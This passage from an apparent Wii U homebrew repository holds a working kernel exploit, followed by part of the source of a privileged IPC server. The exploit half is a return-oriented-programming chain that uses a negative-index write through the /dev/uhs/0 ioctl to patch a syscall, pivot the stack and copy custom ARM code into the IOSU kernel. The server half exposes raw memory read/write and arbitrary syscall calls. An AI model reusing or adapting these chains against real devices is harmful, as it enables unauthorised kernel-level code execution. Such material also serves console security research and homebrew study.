LDMFD SP!, {PC} 32 | 0x0, // 0x30 33 | 0x0, // 0x34 34 | IOS_CREATETHREAD, // 0x38 35 | 0x1, // 0x3C 36 | 0x2, // 0x40 37 | 0x10123a9f, // 0x44 POP {R0,R1,R4,PC} 38 | REPLACE_SYSCALL + 0x00, // 0x48 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 39 | 0xE92D4010, // 0x4C value: PUSH {R4,LR} 40 | 0x0, // 0x50 41 | 0x10123a8b, // 0x54 POP {R3,R4,PC} 42 | 0x1, // 0x58 R3 must be 1 for the arbitrary write 43 | 0x0, // 0x5C 44 | 0x1010CD18, // 0x60 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 45 | 0x0, // 0x64 46 | 0x0, // 0x68 47 | 0x1012EE64, // 0x6C set_panic_behavior (arbitrary write) 48 | 0x0, // 0x70 49 | 0x0, // 0x74 50 | 0x10123a9f, // 0x78 POP {R0,R1,R4,PC} 51 | REPLACE_SYSCALL + 0x04, // 0x7C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 52 | 0xE1A04000, // 0x80 value: MOV R4, R0 53 | 0x0, // 0x84 54 | 0x10123a8b, // 0x88 POP {R3,R4,PC} 55 | 0x1, // 0x8C R3 must be 1 for the arbitrary write 56 | 0x0, // 0x90 57 | 0x1010CD18, // 0x94 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 58 | 0x0, // 0x98 59 | 0x0, // 0x9C 60 | 0x1012EE64, // 0xA0 set_panic_behavior (arbitrary write) 61 | 0x0, // 0xA4 62 | 0x0, // 0xA8 63 | 0x10123a9f, // 0xAC POP {R0,R1,R4,PC} 64 | REPLACE_SYSCALL + 0x08, // 0xB0 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 65 | 0xE3E00000, // 0xB4 value: MOV R0, #0xFFFFFFFF 66 | 0x0, // 0xB8 67 | 0x10123a8b, // 0xBC POP {R3,R4,PC} 68 | 0x1, // 0xC0 R3 must be 1 for the arbitrary write 69 | 0x0, // 0xC4 70 | 0x1010CD18, // 0xC8 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 71 | 0x0, // 0xCC 72 | 0x0, // 0xD0 73 | 0x1012EE64, // 0xD4 set_panic_behavior (arbitrary write) 74 | 0x0, // 0xD8 75 | 0x0, // 0xDC 76 | 0x10123a9f, // 0xE0 POP {R0,R1,R4,PC} 77 | REPLACE_SYSCALL + 0x0C, // 0xE4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 78 | 0xEE030F10, // 0xE8 value: MCR P15, #0, R0, C3, C0, #0 (set dacr to R0) 79 | 0x0, // 0xEC 80 | 0x10123a8b, // 0xF0 POP {R3,R4,PC} 81 | 0x1, // 0xF4 R3 must be 1 for the arbitrary write 82 | 0x0, // 0xF8 83 | 0x1010CD18, // 0xFC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 84 | 0x0, // 0x100 85 | 0x0, // 0x104 86 | 0x1012EE64, // 0x108 set_panic_behavior (arbitrary write) 87 | 0x0, // 0x10C 88 | 0x0, // 0x110 89 | 0x10123a9f, // 0x114 POP {R0,R1,R4,PC} 90 | REPLACE_SYSCALL + 0x10, // 0x118 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 91 | 0xE1A00004, // 0x11C value: MOV R0, R4 92 | 0x0, // 0x120 93 | 0x10123a8b, // 0x124 POP {R3,R4,PC} 94 | 0x1, // 0x128 R3 must be 1 for the arbitrary write 95 | 0x0, // 0x12C 96 | 0x1010CD18, // 0x130 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 97 | 0x0, // 0x134 98 | 0x0, // 0x138 99 | 0x1012EE64, // 0x13C set_panic_behavior (arbitrary write) 100 | 0x0, // 0x140 101 | 0x0, // 0x144 102 | 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} 103 | REPLACE_SYSCALL + 0x14, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 104 | 0xE12FFF33, // 0x150 value: BLX R3 KERNEL_MEMCPY 105 | 0x0, // 0x154 106 | 0x10123a8b, // 0x158 POP {R3,R4,PC} 107 | 0x1, // 0x15C R3 must be 1 for the arbitrary write 108 | 0x0, // 0x160 109 | 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 110 | 0x0, // 0x168 111 | 0x0, // 0x16C 112 | 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 113 | 0x0, // 0x174 114 | 0x0, // 0x178 115 | 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} 116 | REPLACE_SYSCALL + 0x18, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 117 | 0x00000000, // 0x150 value: NOP 118 | 0x0, // 0x154 119 | 0x10123a8b, // 0x158 POP {R3,R4,PC} 120 | 0x1, // 0x15C R3 must be 1 for the arbitrary write 121 | 0x0, // 0x160 122 | 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 123 | 0x0, // 0x168 124 | 0x0, // 0x16C 125 | 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 126 | 0x0, // 0x174 127 | 0x0, // 0x178 128 | 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} 129 | REPLACE_SYSCALL + 0x1C, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 130 | 0xEE17FF7A, // 0x150 value: clean_loop: MRC p15, 0, r15, c7, c10, 3 131 | 0x0, // 0x154 132 | 0x10123a8b, // 0x158 POP {R3,R4,PC} 133 | 0x1, // 0x15C R3 must be 1 for the arbitrary write 134 | 0x0, // 0x160 135 | 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 136 | 0x0, // 0x168 137 | 0x0, // 0x16C 138 | 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 139 | 0x0, // 0x174 140 | 0x0, // 0x178 141 | 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} 142 | REPLACE_SYSCALL + 0x20, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 143 | 0x1AFFFFFD, // 0x150 value: BNE clean_loop 144 | 0x0, // 0x154 145 | 0x10123a8b, // 0x158 POP {R3,R4,PC} 146 | 0x1, // 0x15C R3 must be 1 for the arbitrary write 147 | 0x0, // 0x160 148 | 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 149 | 0x0, // 0x168 150 | 0x0, // 0x16C 151 | 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 152 | 0x0, // 0x174 153 | 0x0, // 0x178 154 | 0x10123a9f, // 0x148 POP {R0,R1,R4,PC} 155 | REPLACE_SYSCALL + 0x24, // 0x14C address: the beginning of syscall_0x1a (IOS_GetUpTime64) 156 | 0xEE070F9A, // 0x150 value: MCR p15, 0, R0, c7, c10, 4 157 | 0x0, // 0x154 158 | 0x10123a8b, // 0x158 POP {R3,R4,PC} 159 | 0x1, // 0x15C R3 must be 1 for the arbitrary write 160 | 0x0, // 0x160 161 | 0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 162 | 0x0, // 0x168 163 | 0x0, // 0x16C 164 | 0x1012EE64, // 0x170 set_panic_behavior (arbitrary write) 165 | 0x0, // 0x174 166 | 0x0, // 0x178 167 | 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} 168 | REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 169 | 0xE1A03004, // 0x184 value: MOV R3, R4 170 | 0x0, // 0x188 171 | 0x10123a8b, // 0x18C POP {R3,R4,PC} 172 | 0x1, // 0x190 R3 must be 1 for the arbitrary write 173 | 0x0, // 0x194 174 | 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 175 | 0x0, // 0x19C 176 | 0x0, // 0x1A0 177 | 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) 178 | 0x0, // 0x1A8 179 | 0x0, // 0x1AC 180 | 0x10123a9f, // 0x17C POP {R0,R1,R4,PC} 181 | REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 182 | 0xE8BD4010, // 0x184 value: POP {R4,LR} 183 | 0x0, // 0x188 184 | 0x10123a8b, // 0x18C POP {R3,R4,PC} 185 | 0x1, // 0x190 R3 must be 1 for the arbitrary write 186 | 0x0, // 0x194 187 | 0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 188 | 0x0, // 0x19C 189 | 0x0, // 0x1A0 190 | 0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write) 191 | 0x0, // 0x1A8 192 | 0x0, // 0x1AC 193 | 0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC} 194 | REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64) 195 | 0xE12FFF13, // 0x1B8 value: BX R3 our code :-) 196 | 0x0, // 0x1BC 197 | 0x10123a8b, // 0x1C0 POP {R3,R4,PC} 198 | 0x1, // 0x1C4 R3 must be 1 for the arbitrary write 199 | 0x0, // 0x1C8 200 | 0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC} 201 | 0x0, // 0x1D0 202 | 0x0, // 0x1D4 203 | 0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write) 204 | 0x0, // 0x1DC 205 | 0x0, // 0x1E0 206 | 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} 207 | REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64 208 | 0x4001, // 0x1E0 on > 0x4000 it flushes all data caches 209 | 0x0, // 0x1E0 210 | 0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len) 211 | 0x0, // 0x1DC 212 | 0x0, // 0x1E0 213 | 0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC} 214 | ARM_CODE_BASE, // 0x1E8 our code destination address 215 | 0x0, // 0x1EC 216 | 0x0, // 0x1F0 217 | 0x101063db, // 0x1F4 POP {R1,R2,R5,PC} 218 | 0x0, // 0x1F8 219 | sizeof(arm_kernel_bin), // 0x1FC our code size 220 | 0x0, // 0x200 221 | 0x10123983, // 0x204 POP {R1,R3,R4,R6,PC} 222 | 0x01E40000, // 0x208 our code source location 223 | 0x08131D04, // 0x20C KERNEL_MEMCPY address 224 | 0x0, // 0x210 225 | 0x0, // 0x214 226 | 0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot) 227 | 0x0, 228 | 0x0, 229 | 0x101312D0, 230 | }; 231 | 232 | static const int second_chain[] = { 233 | 0x10123a9f, // 0x00 POP {R0,R1,R4,PC} 234 | CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination 235 | 0x0, // 0x08 236 | 0x0, // 0x0C 237 | 0x101063db, // 0x10 POP {R1,R2,R5,PC} 238 | 0x01E30000, // 0x14 source 239 | sizeof(final_chain), // 0x18 length 240 | 0x0, // 0x1C 241 | 0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC} 242 | 0x0, // 0x24 243 | 0x0, // 0x28 244 | 0x101236f3, // 0x2C POP {R1-R7,PC} 245 | 0x0, // 0x30 arg 246 | 0x101001DC, // 0x34 stackptr 247 | 0x68, // 0x38 stacksize 248 | 0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC} 249 | 0x0, // 0x40 250 | 0x0, // 0x44 251 | 0x0, // 0x48 252 | 0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC} 253 | 0x0, // 0x50 254 | 0x0, // 0x54 255 | 0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC} 256 | 0x0, // 0x5C 257 | 0x0, // 0x60 258 | IOS_CREATETHREAD, // 0x64 259 | 0x1, // 0x68 priority 260 | 0x2, // 0x6C flags 261 | 0x0, // 0x70 262 | 0x0, // 0x74 263 | 0x101063db, // 0x78 POP {R1,R2,R5,PC} 264 | 0x0, // 0x7C 265 | -(0x240 + 0x18 + 0xF000), // 0x80 stack offset 266 | 0x0, // 0x84 267 | 0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC} 268 | 0x0, 269 | 0x0, 270 | 0x0, 271 | 0x00110000 - 0x44, // 0x8C 272 | 0x00110010, // 0x90 273 | 0x0, // 0x94 274 | 0x0, // 0x98 275 | 0x0, // 0x9C 276 | 0x0, // 0xA0 277 | 0x0, // 0xA4 278 | 0x4, // 0xA8 R11 must equal 4 in order to pivot the stack 279 | 0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC} 280 | 0x0, 281 | 0x0, 282 | 0x1012EA68, // 0xAC stack pivot 283 | }; 284 | 285 | static int dev_uhs_0_handle = -1; 286 | void IOSUExploit() 287 | { 288 | dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node 289 | uhs_exploit_init(); //! Init variables for the exploit 290 | 291 | //!------ROP CHAIN------- 292 | 293 | uhs_write32(CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20); 294 | uhs_write32(CHAIN_START + 0x10, 0x1011814C); 295 | uhs_write32(CHAIN_START + 0xC, SOURCE); 296 | 297 | uhs_write32(CHAIN_START, 0x1012392b); // pop {R4-R6,PC} 298 | 299 | IOS_Close(dev_uhs_0_handle); 300 | } 301 | 302 | void uhs_exploit_init() 303 | { 304 | //! Clear out our used MEM1 area 305 | memset((void*)0xF5E00000, 0, 0x00070000); 306 | DCStoreRange((void*)0xF5E00000, 0x00070000); 307 | 308 | //!------Variables used in exploit------ 309 | int *pretend_root_hub = (int*)0xF5E60640; 310 | int *ayylmao = (int*)0xF5E00000; 311 | //!------------------------------------- 312 | 313 | ayylmao[5] = 1; 314 | ayylmao[8] = 0x1E00000; 315 | 316 | memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain)); 317 | memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain)); 318 | memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin)); 319 | memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin)); 320 | 321 | pretend_root_hub[33] = 0x1E00000; 322 | pretend_root_hub[78] = 0; 323 | 324 | //! Store current CPU cache into main memory for IOSU to read 325 | DCStoreRange(ayylmao, 0x840); 326 | 327 | DCStoreRange((void*)0xF5E20000, sizeof(second_chain)); 328 | DCStoreRange((void*)0xF5E30000, sizeof(final_chain)); 329 | DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin)); 330 | DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin)); 331 | 332 | DCStoreRange(pretend_root_hub, 0x160); 333 | } 334 | 335 | int uhs_write32(int arm_addr, int val) 336 | { 337 | //!------Variables used in exploit------ 338 | int *ayylmao = (int*)0xF5E00000; 339 | //!------------------------------------- 340 | 341 | ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes 342 | DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read 343 | OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU 344 | //! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640, 345 | //! which is the physical address of 0xF5E60640 for us, right at the end of MEM1 346 | int request_buffer[] = { -(0xB349B), val }; 347 | int output_buffer[32]; 348 | return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer)); 349 | } 350 | -------------------------------------------------------------------------------- /wupserver/source/ipc.c: -------------------------------------------------------------------------------- 1 | /*************************************************************************** 2 | * Copyright (C) 2016 3 | * by Dimok 4 | * 5 | * This software is provided 'as-is', without any express or implied 6 | * warranty. In no event will the authors be held liable for any 7 | * damages arising from the use of this software. 8 | * 9 | * Permission is granted to anyone to use this software for any 10 | * purpose, including commercial applications, and to alter it and 11 | * redistribute it freely, subject to the following restrictions: 12 | * 13 | * 1. The origin of this software must not be misrepresented; you 14 | * must not claim that you wrote the original software. If you use 15 | * this software in a product, an acknowledgment in the product 16 | * documentation would be appreciated but is not required. 17 | * 18 | * 2. Altered source versions must be plainly marked as such, and 19 | * must not be misrepresented as being the original software. 20 | * 21 | * 3. This notice may not be removed or altered from any source 22 | * distribution. 23 | ***************************************************************************/ 24 | #include 25 | #include 26 | #include 27 | #include "imports.h" 28 | #include "fsa.h" 29 | #include "svc.h" 30 | //#include "text.h" 31 | //#include "logger.h" 32 | #include "fsa.h" 33 | 34 | #define IOSUHAX_MAGIC_WORD 0x4E696365 35 | #define IOS_ERROR_UNKNOWN_VALUE 0xFFFFFFD6 36 | #define IOS_ERROR_INVALID_ARG 0xFFFFFFE3 37 | #define IOS_ERROR_INVALID_SIZE 0xFFFFFFE9 38 | #define IOS_ERROR_UNKNOWN 0xFFFFFFF7 39 | #define IOS_ERROR_NOEXISTS 0xFFFFFFFA 40 | 41 | #define IOCTL_MEM_WRITE 0x00 42 | #define IOCTL_MEM_READ 0x01 43 | #define IOCTL_SVC 0x02 44 | #define IOCTL_MEMCPY 0x04 45 | #define IOCTL_REPEATED_WRITE 0x05 46 | #define IOCTL_KERN_READ32 0x06 47 | #define IOCTL_KERN_WRITE32 0x07 48 | 49 | #define IOCTL_FSA_OPEN 0x40 50 | #define IOCTL_FSA_CLOSE 0x41 51 | #define IOCTL_FSA_MOUNT 0x42 52 | #define IOCTL_FSA_UNMOUNT 0x43 53 | #define IOCTL_FSA_GETDEVICEINFO 0x44 54 | #define IOCTL_FSA_OPENDIR 0x45 55 | #define IOCTL_FSA_READDIR 0x46 56 | #define IOCTL_FSA_CLOSEDIR 0x47 57 | #define IOCTL_FSA_MAKEDIR 0x48 58 | #define IOCTL_FSA_OPENFILE 0x49 59 | #define IOCTL_FSA_READFILE 0x4A 60 | #define IOCTL_FSA_WRITEFILE 0x4B 61 | #define IOCTL_FSA_STATFILE 0x4C 62 | #define IOCTL_FSA_CLOSEFILE 0x4D 63 | #define IOCTL_FSA_SETFILEPOS 0x4E 64 | #define IOCTL_FSA_GETSTAT 0x4F 65 | #define IOCTL_FSA_REMOVE 0x50 66 | #define IOCTL_FSA_REWINDDIR 0x51 67 | #define IOCTL_FSA_CHDIR 0x52 68 | #define IOCTL_FSA_RENAME 0x53 69 | #define IOCTL_FSA_RAW_OPEN 0x54 70 | #define IOCTL_FSA_RAW_READ 0x55 71 | #define IOCTL_FSA_RAW_WRITE 0x56 72 | #define IOCTL_FSA_RAW_CLOSE 0x57 73 | #define IOCTL_FSA_CHANGEMODE 0x58 74 | #define IOCTL_FSA_FLUSHVOLUME 0x59 75 | #define IOCTL_CHECK_IF_IOSUHAX 0x5B 76 | 77 | //static u8 threadStack[0x1000] __attribute__((aligned(0x20))); 78 | 79 | static int ipc_ioctl(ipcmessage *message) 80 | { 81 | int res = 0; 82 | 83 | switch(message->ioctl.command) 84 | { 85 | case IOCTL_MEM_WRITE: 86 | { 87 | if(message->ioctl.length_in < 4) 88 | { 89 | res = IOS_ERROR_INVALID_SIZE; 90 | } 91 | else 92 | { 93 | memcpy((void*)message->ioctl.buffer_in[0], message->ioctl.buffer_in + 1, message->ioctl.length_in - 4); 94 | } 95 | break; 96 | } 97 | case IOCTL_MEM_READ: 98 | { 99 | if(message->ioctl.length_in < 4) 100 | { 101 | res = IOS_ERROR_INVALID_SIZE; 102 | } 103 | else 104 | { 105 | memcpy(message->ioctl.buffer_io, (void*)message->ioctl.buffer_in[0], message->ioctl.length_io); 106 | } 107 | break; 108 | } 109 | case IOCTL_SVC: 110 | { 111 | if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) 112 | { 113 | res = IOS_ERROR_INVALID_SIZE; 114 | } 115 | else 116 | { 117 | int svc_id = message->ioctl.buffer_in[0]; 118 | int size_arguments = message->ioctl.length_in - 4; 119 | 120 | u32 arguments[8]; 121 | memset(arguments, 0x00, sizeof(arguments)); 122 | memcpy(arguments, message->ioctl.buffer_in + 1, (size_arguments < 8 * 4) ? size_arguments : (8 * 4)); 123 | 124 | // return error code as data 125 | message->ioctl.buffer_io[0] = ((int (*const)(u32, u32, u32, u32, u32, u32, u32, u32))(MCP_SVC_BASE + svc_id * 8))(arguments[0], arguments[1], arguments[2], arguments[3], arguments[4], arguments[5], arguments[6], arguments[7]); 126 | } 127 | break; 128 | } 129 | case IOCTL_MEMCPY: 130 | { 131 | if(message->ioctl.length_in < 12) 132 | { 133 | res = IOS_ERROR_INVALID_SIZE; 134 | } 135 | else 136 | { 137 | memcpy((void*)message->ioctl.buffer_in[0], (void*)message->ioctl.buffer_in[1], message->ioctl.buffer_in[2]); 138 | } 139 | break; 140 | } 141 | /*case IOCTL_REPEATED_WRITE: 142 | { 143 | if(message->ioctl.length_in < 12) 144 | { 145 | res = IOS_ERROR_INVALID_SIZE; 146 | } 147 | else 148 | { 149 | u32* dst = (u32*)message->ioctl.buffer_in[0]; 150 | u32* cache_range = (u32*)(message->ioctl.buffer_in[0] & ~0xFF); 151 | u32 value = message->ioctl.buffer_in[1]; 152 | u32 n = message->ioctl.buffer_in[2]; 153 | 154 | u32 old = *dst; 155 | int i; 156 | for(i = 0; i < n; i++) 157 | { 158 | if(*dst != old) 159 | { 160 | if(*dst == 0x0) old = *dst; 161 | else 162 | { 163 | *dst = value; 164 | svcFlushDCache(cache_range, 0x100); 165 | break; 166 | } 167 | }else 168 | { 169 | svcInvalidateDCache(cache_range, 0x100); 170 | usleep(50); 171 | } 172 | } 173 | } 174 | break; 175 | } 176 | case IOCTL_KERN_READ32: 177 | { 178 | if((message->ioctl.length_in < 4) || (message->ioctl.length_io < 4)) 179 | { 180 | res = IOS_ERROR_INVALID_SIZE; 181 | } 182 | else 183 | { 184 | for(u32 i = 0; i < (message->ioctl.length_io/4); i++) 185 | { 186 | message->ioctl.buffer_io[i] = svcRead32(message->ioctl.buffer_in[0] + i * 4); 187 | } 188 | } 189 | break; 190 | } 191 | case IOCTL_KERN_WRITE32: 192 | { 193 | //! TODO: add syscall as on kern_read32 194 | res = IOS_ERROR_NOEXISTS; 195 | break; 196 | }*/ 197 | //!-------------------------------------------------------------------------------------------------------------- 198 | //! FSA handles for better performance 199 | //!-------------------------------------------------------------------------------------------------------------- 200 | //! TODO: add checks for i/o buffer length 201 | case IOCTL_FSA_OPEN: 202 | { 203 | // points to "/dev/fsa" string in mcp data section 204 | message->ioctl.buffer_io[0] = svcOpen((char*)0x0506963C, 0); 205 | break; 206 | } 207 | case IOCTL_FSA_CLOSE: 208 | { 209 | int fd = message->ioctl.buffer_in[0]; 210 | message->ioctl.buffer_io[0] = svcClose(fd); 211 | break; 212 | } 213 | case IOCTL_FSA_MOUNT: 214 | { 215 | int fd = message->ioctl.buffer_in[0]; 216 | char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; 217 | char *volume_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; 218 | u32 flags = message->ioctl.buffer_in[3]; 219 | char *arg_string = (message->ioctl.buffer_in[4] > 0) ? (((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[4]) : 0; 220 | int arg_string_len = message->ioctl.buffer_in[5]; 221 | 222 | message->ioctl.buffer_io[0] = FSA_Mount(fd, device_path, volume_path, flags, arg_string, arg_string_len); 223 | break; 224 | } 225 | case IOCTL_FSA_UNMOUNT: 226 | { 227 | int fd = message->ioctl.buffer_in[0]; 228 | char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; 229 | u32 flags = message->ioctl.buffer_in[2]; 230 | 231 | message->ioctl.buffer_io[0] = FSA_Unmount(fd, device_path, flags); 232 | break; 233 | } 234 | case IOCTL_FSA_FLUSHVOLUME: 235 | { 236 | int fd = message->ioctl.buffer_in[0]; 237 | char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; 238 | 239 | message->ioctl.buffer_io[0] = FSA_FlushVolume(fd, path); 240 | break; 241 | } 242 | case IOCTL_FSA_GETDEVICEINFO: 243 | { 244 | int fd = message->ioctl.buffer_in[0]; 245 | char *device_path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; 246 | int type = message->ioctl.buffer_in[2]; 247 | 248 | message->ioctl.buffer_io[0] = FSA_GetDeviceInfo(fd, device_path, type, message->ioctl.buffer_io + 1); 249 | break; 250 | } 251 | case IOCTL_FSA_OPENDIR: 252 | { 253 | int fd = message->ioctl.buffer_in[0]; 254 | char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; 255 | 256 | message->ioctl.buffer_io[0] = FSA_OpenDir(fd, path, (int*)message->ioctl.buffer_io + 1); 257 | break; 258 | } 259 | case IOCTL_FSA_READDIR: 260 | { 261 | int fd = message->ioctl.buffer_in[0]; 262 | int handle = message->ioctl.buffer_in[1]; 263 | 264 | message->ioctl.buffer_io[0] = FSA_ReadDir(fd, handle, (directoryEntry_s*)(message->ioctl.buffer_io + 1)); 265 | break; 266 | } 267 | case IOCTL_FSA_CLOSEDIR: 268 | { 269 | int fd = message->ioctl.buffer_in[0]; 270 | int handle = message->ioctl.buffer_in[1]; 271 | 272 | message->ioctl.buffer_io[0] = FSA_CloseDir(fd, handle); 273 | break; 274 | } 275 | case IOCTL_FSA_MAKEDIR: 276 | { 277 | int fd = message->ioctl.buffer_in[0]; 278 | char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; 279 | u32 flags = message->ioctl.buffer_in[2]; 280 | 281 | message->ioctl.buffer_io[0] = FSA_MakeDir(fd, path, flags); 282 | break; 283 | } 284 | case IOCTL_FSA_OPENFILE: 285 | { 286 | int fd = message->ioctl.buffer_in[0]; 287 | char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; 288 | char *mode = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[2]; 289 | 290 | message->ioctl.buffer_io[0] = FSA_OpenFile(fd, path, mode, (int*)message->ioctl.buffer_io + 1); 291 | break; 292 | } 293 | case IOCTL_FSA_READFILE: 294 | { 295 | int fd = message->ioctl.buffer_in[0]; 296 | u32 size = message->ioctl.buffer_in[1]; 297 | u32 cnt = message->ioctl.buffer_in[2]; 298 | int fileHandle = message->ioctl.buffer_in[3]; 299 | u32 flags = message->ioctl.buffer_in[4]; 300 | 301 | message->ioctl.buffer_io[0] = FSA_ReadFile(fd, ((u8*)message->ioctl.buffer_io) + 0x40, size, cnt, fileHandle, flags); 302 | break; 303 | } 304 | case IOCTL_FSA_WRITEFILE: 305 | { 306 | int fd = message->ioctl.buffer_in[0]; 307 | u32 size = message->ioctl.buffer_in[1]; 308 | u32 cnt = message->ioctl.buffer_in[2]; 309 | int fileHandle = message->ioctl.buffer_in[3]; 310 | u32 flags = message->ioctl.buffer_in[4]; 311 | 312 | message->ioctl.buffer_io[0] = FSA_WriteFile(fd, ((u8*)message->ioctl.buffer_in) + 0x40, size, cnt, fileHandle, flags); 313 | break; 314 | } 315 | case IOCTL_FSA_STATFILE: 316 | { 317 | int fd = message->ioctl.buffer_in[0]; 318 | int fileHandle = message->ioctl.buffer_in[1]; 319 | 320 | message->ioctl.buffer_io[0] = FSA_StatFile(fd, fileHandle, (fileStat_s*)(message->ioctl.buffer_io + 1)); 321 | break; 322 | } 323 | case IOCTL_FSA_CLOSEFILE: 324 | { 325 | int fd = message->ioctl.buffer_in[0]; 326 | int fileHandle = message->ioctl.buffer_in[1]; 327 | 328 | message->ioctl.buffer_io[0] = FSA_CloseFile(fd, fileHandle); 329 | break; 330 | } 331 | case IOCTL_FSA_SETFILEPOS: 332 | { 333 | int fd = message->ioctl.buffer_in[0]; 334 | int fileHandle = message->ioctl.buffer_in[1]; 335 | u32 position = message->ioctl.buffer_in[2]; 336 | 337 | message->ioctl.buffer_io[0] = FSA_SetPosFile(fd, fileHandle, position); 338 | break; 339 | } 340 | case IOCTL_FSA_GETSTAT: 341 | { 342 | int fd = message->ioctl.buffer_in[0]; 343 | char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; 344 | 345 | message->ioctl.buffer_io[0] = FSA_GetStat(fd, path, (fileStat_s*)(message->ioctl.buffer_io + 1)); 346 | break; 347 | } 348 | case IOCTL_FSA_REMOVE: 349 | { 350 | int fd = message->ioctl.buffer_in[0]; 351 | char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; 352 | 353 | message->ioctl.buffer_io[0] = FSA_Remove(fd, path); 354 | break; 355 | } 356 | case IOCTL_FSA_REWINDDIR: 357 | { 358 | int fd = message->ioctl.buffer_in[0]; 359 | int dirFd = message->ioctl.buffer_in[1]; 360 | 361 | message->ioctl.buffer_io[0] = FSA_RewindDir(fd, dirFd); 362 | break; 363 | } 364 | case IOCTL_FSA_CHDIR: 365 | { 366 | int fd = message->ioctl.buffer_in[0]; 367 | char *path = ((char *)message->ioctl.buffer_in) + message->ioctl.buffer_in[1]; 368 | 369 | message->ioctl.buffer_io[0] = FSA_ChangeDir(fd, path); 370 | break; 371 | } 372 | case 